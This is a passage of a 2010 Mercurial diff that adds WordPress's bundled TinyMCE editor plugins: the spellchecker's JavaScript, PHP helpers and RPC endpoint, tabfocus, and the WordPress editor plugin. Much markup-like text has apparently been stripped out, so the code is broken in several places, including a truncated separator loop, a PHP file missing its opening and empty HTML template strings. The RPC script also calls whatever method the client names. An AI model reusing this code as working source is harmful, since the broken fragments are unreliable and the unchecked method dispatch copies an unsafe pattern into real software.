ed.onInit.add(function() { + if (ed.settings.content_css !== false) + ed.dom.loadCSS(url + '/css/content.css'); + }); + + ed.onClick.add(t._showMenu, t); + ed.onContextMenu.add(t._showMenu, t); + ed.onBeforeGetContent.add(function() { + if (t.active) + t._removeWords(); + }); + + ed.onNodeChange.add(function(ed, cm) { + cm.setActive('spellchecker', t.active); + }); + + ed.onSetContent.add(function() { + t._done(); + }); + + ed.onBeforeGetContent.add(function() { + t._done(); + }); + + ed.onBeforeExecCommand.add(function(ed, cmd) { + if (cmd == 'mceFullScreen') + t._done(); + }); + + // Find selected language + t.languages = {}; + each(ed.getParam('spellchecker_languages', '+English=en,Danish=da,Dutch=nl,Finnish=fi,French=fr,German=de,Italian=it,Polish=pl,Portuguese=pt,Spanish=es,Swedish=sv', 'hash'), function(v, k) { + if (k.indexOf('+') === 0) { + k = k.substring(1); + t.selectedLang = v; + } + + t.languages[k] = v; + }); + }, + + createControl : function(n, cm) { + var t = this, c, ed = t.editor; + + if (n == 'spellchecker') { + c = cm.createSplitButton(n, {title : 'spellchecker.desc', cmd : 'mceSpellCheck', scope : t}); + + c.onRenderMenu.add(function(c, m) { + m.add({title : 'spellchecker.langs', 'class' : 'mceMenuItemTitle'}).setDisabled(1); + each(t.languages, function(v, k) { + var o = {icon : 1}, mi; + + o.onclick = function() { + mi.setSelected(1); + t.selectedItem.setSelected(0); + t.selectedItem = mi; + t.selectedLang = v; + }; + + o.title = k; + mi = m.add(o); + mi.setSelected(v == t.selectedLang); + + if (v == t.selectedLang) + t.selectedItem = mi; + }) + }); + + return c; + } + }, + + // Internal functions + + _walk : function(n, f) { + var d = this.editor.getDoc(), w; + + if (d.createTreeWalker) { + w = d.createTreeWalker(n, NodeFilter.SHOW_TEXT, null, false); + + while ((n = w.nextNode()) != null) + f.call(this, n); + } else + tinymce.walk(n, f, 'childNodes'); + }, + + _getSeparators : function() { + var re = '', i, str = this.editor.getParam('spellchecker_word_separator_chars', '\\s!"#$%&()*+,-./:;<=>?@[\]^_{|}§©«®±¶·¸»¼½¾¿×÷¤\u201d\u201c'); + + // Build word separator regexp + for (i=0; i$1$2'); + v = v.replace(r3, '$1$2'); + + dom.replace(dom.create('span', {'class' : 'mceItemHidden'}, v), n); + } + } + }); + + se.moveToBookmark(b); + }, + + _showMenu : function(ed, e) { + var t = this, ed = t.editor, m = t._menu, p1, dom = ed.dom, vp = dom.getViewPort(ed.getWin()); + + if (!m) { + p1 = DOM.getPos(ed.getContentAreaContainer()); + //p2 = DOM.getPos(ed.getContainer()); + + m = ed.controlManager.createDropMenu('spellcheckermenu', { + offset_x : p1.x, + offset_y : p1.y, + 'class' : 'mceNoIcons' + }); + + t._menu = m; + } + + if (dom.hasClass(e.target, 'mceItemHiddenSpellWord')) { + m.removeAll(); + m.add({title : 'spellchecker.wait', 'class' : 'mceMenuItemTitle'}).setDisabled(1); + + t._sendRPC('getSuggestions', [t.selectedLang, dom.decode(e.target.innerHTML)], function(r) { + m.removeAll(); + + if (r.length > 0) { + m.add({title : 'spellchecker.sug', 'class' : 'mceMenuItemTitle'}).setDisabled(1); + each(r, function(v) { + m.add({title : v, onclick : function() { + dom.replace(ed.getDoc().createTextNode(v), e.target); + t._checkDone(); + }}); + }); + + m.addSeparator(); + } else + m.add({title : 'spellchecker.no_sug', 'class' : 'mceMenuItemTitle'}).setDisabled(1); + + m.add({ + title : 'spellchecker.ignore_word', + onclick : function() { + dom.remove(e.target, 1); + t._checkDone(); + } + }); + + m.add({ + title : 'spellchecker.ignore_words', + onclick : function() { + t._removeWords(dom.decode(e.target.innerHTML)); + t._checkDone(); + } + }); + + m.update(); + }); + + ed.selection.select(e.target); + p1 = dom.getPos(e.target); + m.showMenu(p1.x, p1.y + e.target.offsetHeight - vp.y); + + return tinymce.dom.Event.cancel(e); + } else + m.hideMenu(); + }, + + _checkDone : function() { + var t = this, ed = t.editor, dom = ed.dom, o; + + each(dom.select('span'), function(n) { + if (n && dom.hasClass(n, 'mceItemHiddenSpellWord')) { + o = true; + return false; + } + }); + + if (!o) + t._done(); + }, + + _done : function() { + var t = this, la = t.active; + + if (t.active) { + t.active = 0; + t._removeWords(); + + if (t._menu) + t._menu.hideMenu(); + + if (la) + t.editor.nodeChanged(); + } + }, + + _sendRPC : function(m, p, cb) { + var t = this, url = t.editor.getParam("spellchecker_rpc_url", this.url+'/rpc.php'); + + if (url == '{backend}') { + t.editor.setProgressState(0); + alert('Please specify: spellchecker_rpc_url'); + return; + } + + JSONRequest.sendRPC({ + url : url, + method : m, + params : p, + success : cb, + error : function(e, x) { + t.editor.setProgressState(0); + t.editor.windowManager.alert(e.errstr || ('Error response: ' + x.responseText)); + } + }); + } + }); + + // Register plugin + tinymce.PluginManager.add('spellchecker', tinymce.plugins.SpellcheckerPlugin); +})(); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/spellchecker/img/wline.gif Binary file web/wp-includes/js/tinymce/plugins/spellchecker/img/wline.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/spellchecker/includes/general.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/spellchecker/includes/general.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,98 @@ + $value) + $newarray[formatParam($name, $sanitize)] = formatParam($value, $sanitize); + + return $newarray; + } + + return formatParam($_REQUEST[$name], $sanitize); +} + +function &getLogger() { + global $mcLogger, $man; + + if (isset($man)) + $mcLogger = $man->getLogger(); + + if (!$mcLogger) { + $mcLogger = new Moxiecode_Logger(); + + // Set logger options + $mcLogger->setPath(dirname(__FILE__) . "/../logs"); + $mcLogger->setMaxSize("100kb"); + $mcLogger->setMaxFiles("10"); + $mcLogger->setFormat("{time} - {message}"); + } + + return $mcLogger; +} + +function debug($msg) { + $args = func_get_args(); + + $log = getLogger(); + $log->debug(implode(', ', $args)); +} + +function info($msg) { + $args = func_get_args(); + + $log = getLogger(); + $log->info(implode(', ', $args)); +} + +function error($msg) { + $args = func_get_args(); + + $log = getLogger(); + $log->error(implode(', ', $args)); +} + +function warn($msg) { + $args = func_get_args(); + + $log = getLogger(); + $log->warn(implode(', ', $args)); +} + +function fatal($msg) { + $args = func_get_args(); + + $log = getLogger(); + $log->fatal(implode(', ', $args)); +} + +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/spellchecker/rpc.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/spellchecker/rpc.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,112 @@ +decode($raw); + +// Execute RPC +if (isset($config['general.engine'])) { + $spellchecker = new $config['general.engine']($config); + $result = call_user_func_array(array($spellchecker, $input['method']), $input['params']); +} else + die('{"result":null,"id":null,"error":{"errstr":"You must choose an spellchecker engine in the config.php file.","errfile":"","errline":null,"errcontext":"","level":"FATAL"}}'); + +// Request and response id should always be the same +$output = array( + "id" => $input->id, + "result" => $result, + "error" => null +); + +// Return JSON encoded string +echo $json->encode($output); + +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/tabfocus/editor_plugin.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/tabfocus/editor_plugin.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +(function(){var c=tinymce.DOM,a=tinymce.dom.Event,d=tinymce.each,b=tinymce.explode;tinymce.create("tinymce.plugins.TabFocusPlugin",{init:function(f,g){function e(i,j){if(j.keyCode===9){return a.cancel(j)}}function h(l,p){var j,m,o,n,k;function q(i){o=c.getParent(l.id,"form");n=o.elements;if(o){d(n,function(s,r){if(s.id==l.id){j=r;return false}});if(i>0){for(m=j+1;m=0;m--){if(n[m].type!="hidden"){return n[m]}}}}return null}if(p.keyCode===9){k=b(l.getParam("tab_focus",l.getParam("tabfocus_elements",":prev,:next")));if(k.length==1){k[1]=k[0];k[0]=":prev"}if(p.shiftKey){if(k[0]==":prev"){n=q(-1)}else{n=c.get(k[0])}}else{if(k[1]==":next"){n=q(1)}else{n=c.get(k[1])}}if(n){if(l=tinymce.EditorManager.get(n.id||n.name)){l.focus()}else{window.setTimeout(function(){window.focus();n.focus()},10)}return a.cancel(p)}}}f.onKeyUp.add(e);if(tinymce.isGecko){f.onKeyPress.add(h);f.onKeyDown.add(e)}else{f.onKeyDown.add(h)}f.onInit.add(function(){d(c.select("a:first,a:last",f.getContainer()),function(i){a.add(i,"focus",function(){f.focus()})})})},getInfo:function(){return{longname:"Tabfocus",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/tabfocus",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("tabfocus",tinymce.plugins.TabFocusPlugin)})(); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/wordpress/css/content.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/wordpress/css/content.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,29 @@ + +.mceWPnextpage, .mceWPmore { + border: 0px; + border-top: 1px dotted #cccccc; + display: block; + width: 100%; + height: 12px; + margin-top: 15px; +} +.mceWPmore { + background: #ffffff url(../img/more_bug.gif) no-repeat right top; +} +.mceWPnextpage { + background: #ffffff url(../img/page_bug.gif) no-repeat right top; +} + +img.wpGallery { + border: 1px dashed #888; + background: #f2f8ff url("../../wpgallery/img/gallery.png") no-repeat scroll center center; + width: 99%; + height: 250px; +} + +img.wp-oembed { + border: 1px dashed #888; + background: #f7f5f2 url("../img/embedded.png") no-repeat scroll center center; + width: 300px; + height: 250px; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/wordpress/editor_plugin.dev.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/wordpress/editor_plugin.dev.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,399 @@ +/** + * WordPress plugin. + */ + +(function() { + var DOM = tinymce.DOM; + + tinymce.create('tinymce.plugins.WordPress', { + mceTout : 0, + + init : function(ed, url) { + var t = this, tbId = ed.getParam('wordpress_adv_toolbar', 'toolbar2'), last = 0, moreHTML, nextpageHTML; + moreHTML = ''; + nextpageHTML = ''; + + if ( getUserSetting('hidetb', '0') == '1' ) + ed.settings.wordpress_adv_hidden = 0; + + // Hides the specified toolbar and resizes the iframe + ed.onPostRender.add(function() { + var adv_toolbar = ed.controlManager.get(tbId); + if ( ed.getParam('wordpress_adv_hidden', 1) && adv_toolbar ) { + DOM.hide(adv_toolbar.id); + t._resizeIframe(ed, tbId, 28); + } + }); + + // Register commands + ed.addCommand('WP_More', function() { + ed.execCommand('mceInsertContent', 0, moreHTML); + }); + + ed.addCommand('WP_Page', function() { + ed.execCommand('mceInsertContent', 0, nextpageHTML); + }); + + ed.addCommand('WP_Help', function() { + ed.windowManager.open({ + url : tinymce.baseURL + '/wp-mce-help.php', + width : 450, + height : 420, + inline : 1 + }); + }); + + ed.addCommand('WP_Adv', function() { + var cm = ed.controlManager, id = cm.get(tbId).id; + + if ( 'undefined' == id ) + return; + + if ( DOM.isHidden(id) ) { + cm.setActive('wp_adv', 1); + DOM.show(id); + t._resizeIframe(ed, tbId, -28); + ed.settings.wordpress_adv_hidden = 0; + setUserSetting('hidetb', '1'); + } else { + cm.setActive('wp_adv', 0); + DOM.hide(id); + t._resizeIframe(ed, tbId, 28); + ed.settings.wordpress_adv_hidden = 1; + setUserSetting('hidetb', '0'); + } + }); + + // Register buttons + ed.addButton('wp_more', { + title : 'wordpress.wp_more_desc', + image : url + '/img/more.gif', + cmd : 'WP_More' + }); + + ed.addButton('wp_page', { + title : 'wordpress.wp_page_desc', + image : url + '/img/page.gif', + cmd : 'WP_Page' + }); + + ed.addButton('wp_help', { + title : 'wordpress.wp_help_desc', + image : url + '/img/help.gif', + cmd : 'WP_Help' + }); + + ed.addButton('wp_adv', { + title : 'wordpress.wp_adv_desc', + image : url + '/img/toolbars.gif', + cmd : 'WP_Adv' + }); + + // Add Media buttons + ed.addButton('add_media', { + title : 'wordpress.add_media', + image : url + '/img/media.gif', + onclick : function() { + tb_show('', tinymce.DOM.get('add_media').href); + tinymce.DOM.setStyle( ['TB_overlay','TB_window','TB_load'], 'z-index', '999999' ); + } + }); + + ed.addButton('add_image', { + title : 'wordpress.add_image', + image : url + '/img/image.gif', + onclick : function() { + tb_show('', tinymce.DOM.get('add_image').href); + tinymce.DOM.setStyle( ['TB_overlay','TB_window','TB_load'], 'z-index', '999999' ); + } + }); + + ed.addButton('add_video', { + title : 'wordpress.add_video', + image : url + '/img/video.gif', + onclick : function() { + tb_show('', tinymce.DOM.get('add_video').href); + tinymce.DOM.setStyle( ['TB_overlay','TB_window','TB_load'], 'z-index', '999999' ); + } + }); + + ed.addButton('add_audio', { + title : 'wordpress.add_audio', + image : url + '/img/audio.gif', + onclick : function() { + tb_show('', tinymce.DOM.get('add_audio').href); + tinymce.DOM.setStyle( ['TB_overlay','TB_window','TB_load'], 'z-index', '999999' ); + } + }); + + // Add Media buttons to fullscreen + ed.onBeforeExecCommand.add(function(ed, cmd, ui, val) { + var DOM = tinymce.DOM; + if ( 'mceFullScreen' != cmd ) return; + if ( 'mce_fullscreen' != ed.id && DOM.get('add_audio') && DOM.get('add_video') && DOM.get('add_image') && DOM.get('add_media') ) + ed.settings.theme_advanced_buttons1 += ',|,add_image,add_video,add_audio,add_media'; + }); + + // Add class "alignleft", "alignright" and "aligncenter" when selecting align for images. + ed.addCommand('JustifyLeft', function() { + var n = ed.selection.getNode(); + + if ( n.nodeName != 'IMG' ) + ed.editorCommands.mceJustify('JustifyLeft', 'left'); + else ed.plugins.wordpress.do_align(n, 'alignleft'); + }); + + ed.addCommand('JustifyRight', function() { + var n = ed.selection.getNode(); + + if ( n.nodeName != 'IMG' ) + ed.editorCommands.mceJustify('JustifyRight', 'right'); + else ed.plugins.wordpress.do_align(n, 'alignright'); + }); + + ed.addCommand('JustifyCenter', function() { + var n = ed.selection.getNode(), P = ed.dom.getParent(n, 'p'), DL = ed.dom.getParent(n, 'dl'); + + if ( n.nodeName == 'IMG' && ( P || DL ) ) + ed.plugins.wordpress.do_align(n, 'aligncenter'); + else ed.editorCommands.mceJustify('JustifyCenter', 'center'); + }); + + // Word count if script is loaded + if ( 'undefined' != typeof wpWordCount ) { + ed.onKeyUp.add(function(ed, e) { + if ( e.keyCode == last ) return; + if ( 13 == e.keyCode || 8 == last || 46 == last ) wpWordCount.wc( ed.getContent({format : 'raw'}) ); + last = e.keyCode; + }); + }; + + ed.onSaveContent.add(function(ed, o) { + if ( typeof(switchEditors) == 'object' ) { + if ( ed.isHidden() ) + o.content = o.element.value; + else + o.content = switchEditors.pre_wpautop(o.content); + } + }); + + /* disable for now + ed.onBeforeSetContent.add(function(ed, o) { + o.content = t._setEmbed(o.content); + }); + + ed.onPostProcess.add(function(ed, o) { + if ( o.get ) + o.content = t._getEmbed(o.content); + }); + */ + + // Add listeners to handle more break + t._handleMoreBreak(ed, url); + + // Add custom shortcuts + ed.addShortcut('alt+shift+c', ed.getLang('justifycenter_desc'), 'JustifyCenter'); + ed.addShortcut('alt+shift+r', ed.getLang('justifyright_desc'), 'JustifyRight'); + ed.addShortcut('alt+shift+l', ed.getLang('justifyleft_desc'), 'JustifyLeft'); + ed.addShortcut('alt+shift+j', ed.getLang('justifyfull_desc'), 'JustifyFull'); + ed.addShortcut('alt+shift+q', ed.getLang('blockquote_desc'), 'mceBlockQuote'); + ed.addShortcut('alt+shift+u', ed.getLang('bullist_desc'), 'InsertUnorderedList'); + ed.addShortcut('alt+shift+o', ed.getLang('numlist_desc'), 'InsertOrderedList'); + ed.addShortcut('alt+shift+d', ed.getLang('striketrough_desc'), 'Strikethrough'); + ed.addShortcut('alt+shift+n', ed.getLang('spellchecker.desc'), 'mceSpellCheck'); + ed.addShortcut('alt+shift+a', ed.getLang('link_desc'), 'mceLink'); + ed.addShortcut('alt+shift+s', ed.getLang('unlink_desc'), 'unlink'); + ed.addShortcut('alt+shift+m', ed.getLang('image_desc'), 'mceImage'); + ed.addShortcut('alt+shift+g', ed.getLang('fullscreen.desc'), 'mceFullScreen'); + ed.addShortcut('alt+shift+z', ed.getLang('wp_adv_desc'), 'WP_Adv'); + ed.addShortcut('alt+shift+h', ed.getLang('help_desc'), 'WP_Help'); + ed.addShortcut('alt+shift+t', ed.getLang('wp_more_desc'), 'WP_More'); + ed.addShortcut('alt+shift+p', ed.getLang('wp_page_desc'), 'WP_Page'); + ed.addShortcut('ctrl+s', ed.getLang('save_desc'), function(){if('function'==typeof autosave)autosave();}); + + if ( tinymce.isWebKit ) { + ed.addShortcut('alt+shift+b', ed.getLang('bold_desc'), 'Bold'); + ed.addShortcut('alt+shift+i', ed.getLang('italic_desc'), 'Italic'); + } + + ed.onInit.add(function(ed) { + tinymce.dom.Event.add(ed.getWin(), 'scroll', function(e) { + ed.plugins.wordpress._hideButtons(); + }); + tinymce.dom.Event.add(ed.getBody(), 'dragstart', function(e) { + ed.plugins.wordpress._hideButtons(); + }); + }); + + ed.onBeforeExecCommand.add(function(ed, cmd, ui, val) { + ed.plugins.wordpress._hideButtons(); + }); + + ed.onSaveContent.add(function(ed, o) { + ed.plugins.wordpress._hideButtons(); + }); + + ed.onMouseDown.add(function(ed, e) { + if ( e.target.nodeName != 'IMG' ) + ed.plugins.wordpress._hideButtons(); + }); + }, + + getInfo : function() { + return { + longname : 'WordPress Plugin', + author : 'WordPress', // add Moxiecode? + authorurl : 'http://wordpress.org', + infourl : 'http://wordpress.org', + version : '3.0' + }; + }, + + // Internal functions + _setEmbed : function(c) { + return c.replace(/\[embed\]([\s\S]+?)\[\/embed\][\s\u00a0]*/g, function(a,b){ + return ''+b+''; + }); + }, + + _getEmbed : function(c) { + return c.replace(/]+>/g, function(a) { + if ( a.indexOf('class="wp-oembed') != -1 ) { + var u = a.match(/alt="([^\"]+)"/); + if ( u[1] ) + a = '[embed]' + u[1] + '[/embed]'; + } + return a; + }); + }, + + _showButtons : function(n, id) { + var ed = tinyMCE.activeEditor, p1, p2, vp, DOM = tinymce.DOM, X, Y; + + vp = ed.dom.getViewPort(ed.getWin()); + p1 = DOM.getPos(ed.getContentAreaContainer()); + p2 = ed.dom.getPos(n); + + X = Math.max(p2.x - vp.x, 0) + p1.x; + Y = Math.max(p2.y - vp.y, 0) + p1.y; + + DOM.setStyles(id, { + 'top' : Y+5+'px', + 'left' : X+5+'px', + 'display' : 'block' + }); + + if ( this.mceTout ) + clearTimeout(this.mceTout); + + this.mceTout = setTimeout( function(){ed.plugins.wordpress._hideButtons();}, 5000 ); + }, + + _hideButtons : function() { + if ( !this.mceTout ) + return; + + if ( document.getElementById('wp_editbtns') ) + tinymce.DOM.hide('wp_editbtns'); + + if ( document.getElementById('wp_gallerybtns') ) + tinymce.DOM.hide('wp_gallerybtns'); + + clearTimeout(this.mceTout); + this.mceTout = 0; + }, + + do_align : function(n, a) { + var P, DL, DIV, cls, c, ed = tinyMCE.activeEditor; + + if ( /^(mceItemFlash|mceItemShockWave|mceItemWindowsMedia|mceItemQuickTime|mceItemRealMedia)$/.test(n.className) ) + return; + + P = ed.dom.getParent(n, 'p'); + DL = ed.dom.getParent(n, 'dl'); + DIV = ed.dom.getParent(n, 'div'); + + if ( DL && DIV ) { + cls = ed.dom.hasClass(DL, a) ? 'alignnone' : a; + DL.className = DL.className.replace(/align[^ '"]+\s?/g, ''); + ed.dom.addClass(DL, cls); + c = (cls == 'aligncenter') ? ed.dom.addClass(DIV, 'mceIEcenter') : ed.dom.removeClass(DIV, 'mceIEcenter'); + } else if ( P ) { + cls = ed.dom.hasClass(n, a) ? 'alignnone' : a; + n.className = n.className.replace(/align[^ '"]+\s?/g, ''); + ed.dom.addClass(n, cls); + if ( cls == 'aligncenter' ) + ed.dom.setStyle(P, 'textAlign', 'center'); + else if (P.style && P.style.textAlign == 'center') + ed.dom.setStyle(P, 'textAlign', ''); + } + + ed.execCommand('mceRepaint'); + }, + + // Resizes the iframe by a relative height value + _resizeIframe : function(ed, tb_id, dy) { + var ifr = ed.getContentAreaContainer().firstChild; + + DOM.setStyle(ifr, 'height', ifr.clientHeight + dy); // Resize iframe + ed.theme.deltaHeight += dy; // For resize cookie + }, + + _handleMoreBreak : function(ed, url) { + var moreHTML, nextpageHTML; + + moreHTML = '$1'; + nextpageHTML = ''; + + // Load plugin specific CSS into editor + ed.onInit.add(function() { + ed.dom.loadCSS(url + '/css/content.css'); + }); + + // Display morebreak instead if img in element path + ed.onPostRender.add(function() { + if (ed.theme.onResolveName) { + ed.theme.onResolveName.add(function(th, o) { + if (o.node.nodeName == 'IMG') { + if ( ed.dom.hasClass(o.node, 'mceWPmore') ) + o.name = 'wpmore'; + if ( ed.dom.hasClass(o.node, 'mceWPnextpage') ) + o.name = 'wppage'; + } + + }); + } + }); + + // Replace morebreak with images + ed.onBeforeSetContent.add(function(ed, o) { + o.content = o.content.replace(//g, moreHTML); + o.content = o.content.replace(//g, nextpageHTML); + }); + + // Replace images with morebreak + ed.onPostProcess.add(function(ed, o) { + if (o.get) + o.content = o.content.replace(/]+>/g, function(im) { + if (im.indexOf('class="mceWPmore') !== -1) { + var m, moretext = (m = im.match(/alt="(.*?)"/)) ? m[1] : ''; + im = ''; + } + if (im.indexOf('class="mceWPnextpage') !== -1) + im = ''; + + return im; + }); + }); + + // Set active buttons if user selected pagebreak or more break + ed.onNodeChange.add(function(ed, cm, n) { + cm.setActive('wp_page', n.nodeName === 'IMG' && ed.dom.hasClass(n, 'mceWPnextpage')); + cm.setActive('wp_more', n.nodeName === 'IMG' && ed.dom.hasClass(n, 'mceWPmore')); + }); + } + }); + + // Register plugin + tinymce.PluginManager.add('wordpress', tinymce.plugins.WordPress); +})(); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/wordpress/editor_plugin.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/wordpress/editor_plugin.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +(function(){var a=tinymce.DOM;tinymce.create("tinymce.plugins.WordPress",{mceTout:0,init:function(c,d){var e=this,h=c.getParam("wordpress_adv_toolbar","toolbar2"),g=0,f,b;f='';b='';if(getUserSetting("hidetb","0")=="1"){c.settings.wordpress_adv_hidden=0}c.onPostRender.add(function(){var i=c.controlManager.get(h);if(c.getParam("wordpress_adv_hidden",1)&&i){a.hide(i.id);e._resizeIframe(c,h,28)}});c.addCommand("WP_More",function(){c.execCommand("mceInsertContent",0,f)});c.addCommand("WP_Page",function(){c.execCommand("mceInsertContent",0,b)});c.addCommand("WP_Help",function(){c.windowManager.open({url:tinymce.baseURL+"/wp-mce-help.php",width:450,height:420,inline:1})});c.addCommand("WP_Adv",function(){var i=c.controlManager,j=i.get(h).id;if("undefined"==j){return}if(a.isHidden(j)){i.setActive("wp_adv",1);a.show(j);e._resizeIframe(c,h,-28);c.settings.wordpress_adv_hidden=0;setUserSetting("hidetb","1")}else{i.setActive("wp_adv",0);a.hide(j);e._resizeIframe(c,h,28);c.settings.wordpress_adv_hidden=1;setUserSetting("hidetb","0")}});c.addButton("wp_more",{title:"wordpress.wp_more_desc",image:d+"/img/more.gif",cmd:"WP_More"});c.addButton("wp_page",{title:"wordpress.wp_page_desc",image:d+"/img/page.gif",cmd:"WP_Page"});c.addButton("wp_help",{title:"wordpress.wp_help_desc",image:d+"/img/help.gif",cmd:"WP_Help"});c.addButton("wp_adv",{title:"wordpress.wp_adv_desc",image:d+"/img/toolbars.gif",cmd:"WP_Adv"});c.addButton("add_media",{title:"wordpress.add_media",image:d+"/img/media.gif",onclick:function(){tb_show("",tinymce.DOM.get("add_media").href);tinymce.DOM.setStyle(["TB_overlay","TB_window","TB_load"],"z-index","999999")}});c.addButton("add_image",{title:"wordpress.add_image",image:d+"/img/image.gif",onclick:function(){tb_show("",tinymce.DOM.get("add_image").href);tinymce.DOM.setStyle(["TB_overlay","TB_window","TB_load"],"z-index","999999")}});c.addButton("add_video",{title:"wordpress.add_video",image:d+"/img/video.gif",onclick:function(){tb_show("",tinymce.DOM.get("add_video").href);tinymce.DOM.setStyle(["TB_overlay","TB_window","TB_load"],"z-index","999999")}});c.addButton("add_audio",{title:"wordpress.add_audio",image:d+"/img/audio.gif",onclick:function(){tb_show("",tinymce.DOM.get("add_audio").href);tinymce.DOM.setStyle(["TB_overlay","TB_window","TB_load"],"z-index","999999")}});c.onBeforeExecCommand.add(function(i,l,k,m){var j=tinymce.DOM;if("mceFullScreen"!=l){return}if("mce_fullscreen"!=i.id&&j.get("add_audio")&&j.get("add_video")&&j.get("add_image")&&j.get("add_media")){i.settings.theme_advanced_buttons1+=",|,add_image,add_video,add_audio,add_media"}});c.addCommand("JustifyLeft",function(){var i=c.selection.getNode();if(i.nodeName!="IMG"){c.editorCommands.mceJustify("JustifyLeft","left")}else{c.plugins.wordpress.do_align(i,"alignleft")}});c.addCommand("JustifyRight",function(){var i=c.selection.getNode();if(i.nodeName!="IMG"){c.editorCommands.mceJustify("JustifyRight","right")}else{c.plugins.wordpress.do_align(i,"alignright")}});c.addCommand("JustifyCenter",function(){var k=c.selection.getNode(),j=c.dom.getParent(k,"p"),i=c.dom.getParent(k,"dl");if(k.nodeName=="IMG"&&(j||i)){c.plugins.wordpress.do_align(k,"aligncenter")}else{c.editorCommands.mceJustify("JustifyCenter","center")}});if("undefined"!=typeof wpWordCount){c.onKeyUp.add(function(i,j){if(j.keyCode==g){return}if(13==j.keyCode||8==g||46==g){wpWordCount.wc(i.getContent({format:"raw"}))}g=j.keyCode})}c.onSaveContent.add(function(i,j){if(typeof(switchEditors)=="object"){if(i.isHidden()){j.content=j.element.value}else{j.content=switchEditors.pre_wpautop(j.content)}}});e._handleMoreBreak(c,d);c.addShortcut("alt+shift+c",c.getLang("justifycenter_desc"),"JustifyCenter");c.addShortcut("alt+shift+r",c.getLang("justifyright_desc"),"JustifyRight");c.addShortcut("alt+shift+l",c.getLang("justifyleft_desc"),"JustifyLeft");c.addShortcut("alt+shift+j",c.getLang("justifyfull_desc"),"JustifyFull");c.addShortcut("alt+shift+q",c.getLang("blockquote_desc"),"mceBlockQuote");c.addShortcut("alt+shift+u",c.getLang("bullist_desc"),"InsertUnorderedList");c.addShortcut("alt+shift+o",c.getLang("numlist_desc"),"InsertOrderedList");c.addShortcut("alt+shift+d",c.getLang("striketrough_desc"),"Strikethrough");c.addShortcut("alt+shift+n",c.getLang("spellchecker.desc"),"mceSpellCheck");c.addShortcut("alt+shift+a",c.getLang("link_desc"),"mceLink");c.addShortcut("alt+shift+s",c.getLang("unlink_desc"),"unlink");c.addShortcut("alt+shift+m",c.getLang("image_desc"),"mceImage");c.addShortcut("alt+shift+g",c.getLang("fullscreen.desc"),"mceFullScreen");c.addShortcut("alt+shift+z",c.getLang("wp_adv_desc"),"WP_Adv");c.addShortcut("alt+shift+h",c.getLang("help_desc"),"WP_Help");c.addShortcut("alt+shift+t",c.getLang("wp_more_desc"),"WP_More");c.addShortcut("alt+shift+p",c.getLang("wp_page_desc"),"WP_Page");c.addShortcut("ctrl+s",c.getLang("save_desc"),function(){if("function"==typeof autosave){autosave()}});if(tinymce.isWebKit){c.addShortcut("alt+shift+b",c.getLang("bold_desc"),"Bold");c.addShortcut("alt+shift+i",c.getLang("italic_desc"),"Italic")}c.onInit.add(function(i){tinymce.dom.Event.add(i.getWin(),"scroll",function(j){i.plugins.wordpress._hideButtons()});tinymce.dom.Event.add(i.getBody(),"dragstart",function(j){i.plugins.wordpress._hideButtons()})});c.onBeforeExecCommand.add(function(i,k,j,l){i.plugins.wordpress._hideButtons()});c.onSaveContent.add(function(i,j){i.plugins.wordpress._hideButtons()});c.onMouseDown.add(function(i,j){if(j.target.nodeName!="IMG"){i.plugins.wordpress._hideButtons()}})},getInfo:function(){return{longname:"WordPress Plugin",author:"WordPress",authorurl:"http://wordpress.org",infourl:"http://wordpress.org",version:"3.0"}},_setEmbed:function(b){return b.replace(/\[embed\]([\s\S]+?)\[\/embed\][\s\u00a0]*/g,function(d,c){return''+c+''})},_getEmbed:function(b){return b.replace(/]+>/g,function(c){if(c.indexOf('class="wp-oembed')!=-1){var d=c.match(/alt="([^\"]+)"/);if(d[1]){c="[embed]"+d[1]+"[/embed]"}}return c})},_showButtons:function(f,d){var g=tinyMCE.activeEditor,i,h,b,j=tinymce.DOM,e,c;b=g.dom.getViewPort(g.getWin());i=j.getPos(g.getContentAreaContainer());h=g.dom.getPos(f);e=Math.max(h.x-b.x,0)+i.x;c=Math.max(h.y-b.y,0)+i.y;j.setStyles(d,{top:c+5+"px",left:e+5+"px",display:"block"});if(this.mceTout){clearTimeout(this.mceTout)}this.mceTout=setTimeout(function(){g.plugins.wordpress._hideButtons()},5000)},_hideButtons:function(){if(!this.mceTout){return}if(document.getElementById("wp_editbtns")){tinymce.DOM.hide("wp_editbtns")}if(document.getElementById("wp_gallerybtns")){tinymce.DOM.hide("wp_gallerybtns")}clearTimeout(this.mceTout);this.mceTout=0},do_align:function(j,d){var 